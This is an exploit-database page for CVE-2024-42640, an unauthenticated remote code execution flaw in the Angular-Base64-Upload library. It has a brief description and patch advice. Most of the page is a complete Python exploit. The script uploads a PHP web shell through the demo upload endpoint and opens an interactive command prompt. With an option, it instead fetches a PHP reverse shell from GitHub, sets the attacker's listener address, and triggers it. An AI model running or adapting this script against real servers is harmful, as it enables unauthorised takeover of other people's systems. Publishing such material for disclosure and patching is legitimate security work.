header-logo
Suggest Exploit
vendor:
Angular-Base64-Upload Library
by:
Ravindu Wickramasinghe
CVSS
Unauthenticated Remote Code Execution (RCE)
284
CWE
Product Name: Angular-Base64-Upload Library
Affected Version From: prior to v0.1.21
Affected Version To: v0.1.21
Patch Exists: YES
Related CWE: CVE-2024-42640
CPE: a:angular-base64-upload:angular-base64-upload:0.1.20
Metasploit:
Other Scripts:
Platforms Tested: Arch Linux
2024

Angular-Base64-Upload Library 0.1.21 – Unauthenticated Remote Code Execution (RCE)

The Angular-Base64-Upload Library version 0.1.21 and prior is vulnerable to unauthenticated remote code execution (RCE). An attacker can exploit this vulnerability to execute arbitrary code on the target system without authentication. This exploit has been assigned CVE-2024-42640.

Mitigation:

To mitigate this vulnerability, it is recommended to update the Angular-Base64-Upload Library to version 0.1.21 or later. Additionally, restrict access to the vulnerable component to trusted entities only.
Source

Exploit-DB raw data:

# Exploit Title: Angular-Base64-Upload Library 0.1.21 - Unauthenticated Remote Code Execution (RCE)
# Date: 10 October 2024
# Discovered by : Ravindu Wickramasinghe | rvz (@rvizx9) 
# Exploit Author: Ravindu Wickramasinghe | rvz (@rvizx9) 
# Vendor Homepage: https://www.npmjs.com/package/angular-base64-upload
# Software Link: https://github.com/adonespitogo/angular-base64-upload
# Version: prior to v0.1.21 
# Tested on: Arch Linux
# CVE : CVE-2024-42640
# Severity: Critical - 10.0 (CVSS 4.0)
# Github Link : https://github.com/rvizx/CVE-2024-42640
# Blog Post : https://www.zyenra.com/blog/unauthenticated-rce-in-angular-base64-upload.html

import re
import subprocess
import requests
import sys
import os
import uuid
import base64
import cmd
from urllib.parse import urlparse


def banner():
    print('''

                \033[2mCVE-2024-42640\033[0m - Unauthenticated RCE via Anuglar-Base64-Upload Library \033[2m PoC Exploit
                \033[0mRavindu Wickramasinghe\033[2m | rvz (ラヴィズ) - twitter: @rvizx9
                https://github.com/rvizx/\033[0mCVE-2024-42640

''')


def check_version(target):
    response = requests.get(target)
    first_line = response.text.splitlines()[0].strip()
    match = re.search(r'v0\.(1|0)\.(\d+)', first_line)
    
    if match:
        version = match.group(0)
        x_value = int(match.group(1))
        if x_value <= 20:
            print(f"\033[94m[inf]:\033[0m target is using a vulnerable version. [version]: {version}")
        else:
            print(f"\033[91m[err]:\033[0m target is not vulnerable [version]: {version}")
            exit()
    else:
        print("\033[91m[err]:\033[0m couldn't find the version")


def enum(url):
    print("\033[94m[inf]:\033[0m enumerating... ")
    target = f"{url}/bower_components/angular-base64-upload/dist/angular-base64-upload.min.js"
    r = requests.head(target)
    if r.status_code == 200:
        print("\033[94m[inf]:\033[0m target is using bower_components")
        check_version(target)
    else:
        print("\033[94m[inf]:\033[0m target is not using bower_components")
        target = f"{url}/node_modules/angular-base64-upload/dist/angular-base64-upload.min.js"
        r = requests.head(target)
        if r.status_code == 200:
            print("\033[94m[inf]:\033[0m target is using node_modules")
            check_version(target)
        else:
            print("\033[94m[inf]:\033[0m target is not using node_modules")
            print("\033[91m[err]:\033[0m an error occured, it was not possible to enumerate for dist/angular-base64-upload.min.js")
            print("\033[93m[ins]:\033[0m please make sure you've defined the target to the endpoint prior to the depdency installation directory")
            print("\033[93m[ins]:\033[0m for manual exploitation, please refer to this: https://www.zyenra.com/blog/unauthenticated-rce-in-angular-base64-upload.html")
            print("\033[91m[err]:\033[0m exiting..")
            exit()
    exploit(target)


class CmdShell(cmd.Cmd):
    username = subprocess.check_output("whoami", shell=True).strip().decode()
    domain = urlparse(sys.argv[1]).netloc
    prompt = f"{username}@{domain} > "

    def __init__(self, payload_url):
        super().__init__()
        self.payload_url = payload_url

    def default(self, line):
        url = f"{self.payload_url}?cmd={line}"
        try:
            response = requests.get(url)
            print(response.text)
        except requests.RequestException as e:
             print("\033[91m[err]:\033[0m {e}")

    def do_exit(self, arg):
        return True

def exploit(target):
    print(f"[dbg]: {target}")
    target_server_url = target.replace("dist/angular-base64-upload.min.js","demo/server.php")
    print(f"[dbg]: {target_server_url}")
    payload_name = str(uuid.uuid4())+".php"
    if  len(sys.argv) > 2:
        if sys.argv[2] == "--rev":
            revshell = "https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php"
            print("\033[94m[inf]:\033[0m generating a php reverse shell to upload..")
            ip = input("\033[93m[ins]:\033[0m enter listener ip / domain: ")
            port = input("\033[93m[ins]:\033[0m enter listenter port: ")
            print(f"\033[93m[ins]:\033[0m start a listener, execute nc -lvnp {port}")
            input("\033[93m[ins]:\033[0m press enter to continue...")
            print("\033[94m[inf]:\033[0m downloading php-reverse-shell from github/pentestmonkey...")
            response = requests.get(revshell)
            if response.status_code == 200:
                payload = response.text.replace("127.0.0.1", ip).replace("1234", port) # replacing default values with user input 
                with open(payload_name, "w") as file:
                    file.write(payload)
                payload_url = upload_to_server(payload_name,target_server_url)
                print("\033[94m[inf]:\033[0m executing the uploaded reverse-shell..")
                r = requests.get(payload_url)
                if r.status_code == 200: 
                    print("\033[94m[inf]:\033[0m process complete!")
                else:    
                    print("\033[91m[err]:\033[0m something went wrong!")
                print("\033[93m[ins]:\033[0m please check the listener for incoming connections.")
            else:
                print("\033[91m[err]:\033[0m failed to fetch the php-reverse-shell.")
                print("\033[91m[err]:\033[0m exiting..")
                exit()
                
    else:
        payload = "<?php if($_GET['cmd']) {system($_GET['cmd']);} ?>"
        with open(payload_name, "w") as file:
            file.write(payload)
        payload_url = upload_to_server(payload_name,target_server_url)
        cmd_shell = CmdShell(payload_url)
        cmd_shell.cmdloop()

def upload_to_server(payload_name,target_server_url):
    try:
        with open(payload_name, 'rb') as file:
            file_content = file.read()
            base64_payload = base64.b64encode(file_content).decode('utf-8')
            
            headers = {
                'Content-Type': 'application/json',
                }
            
            json_data = {
                'base64': base64_payload,
                'filename': payload_name,
                }
            
            response = requests.post(target_server_url, headers=headers, json=json_data, verify=False)
            print("\033[94m[inf]:\033[0m file upload request sent! [status-code]: ",response.status_code)
            updemo_endpoint = f"uploads/{payload_name}"
            print(f"[dbg]: {updemo_endpoint}")
            payload_url = target_server_url.replace("server.php",updemo_endpoint)
            print(f"[dbg]: {payload_url}")
            if response.status_code == 200:
                print(f"\033[94m[inf]:\033[0m payload is uploaded to {payload_url}")
                return payload_url
            else:
                print("\033[91m[err]:\033[0m something went wrong! failed to upload the payload to server")
                exit()
    except Exception as e:
        print(f"\033[91m[err]:\033[0m {e}")
        exit()

if __name__ == "__main__":
    try:
        banner()
        if  len(sys.argv) > 1:
            url = sys.argv[1]
            print(f"\033[94m[inf]:\033[0m target: {url}")
            enum(url)
        else:
            print("[usg]: ./exploit.py <target-url>")
            print("[usg]: ./exploit.py <target-url> --rev")
            exit()
    except Exception as e:
        print(f"\033[91m[err]:\033[0m {e}")
        exit()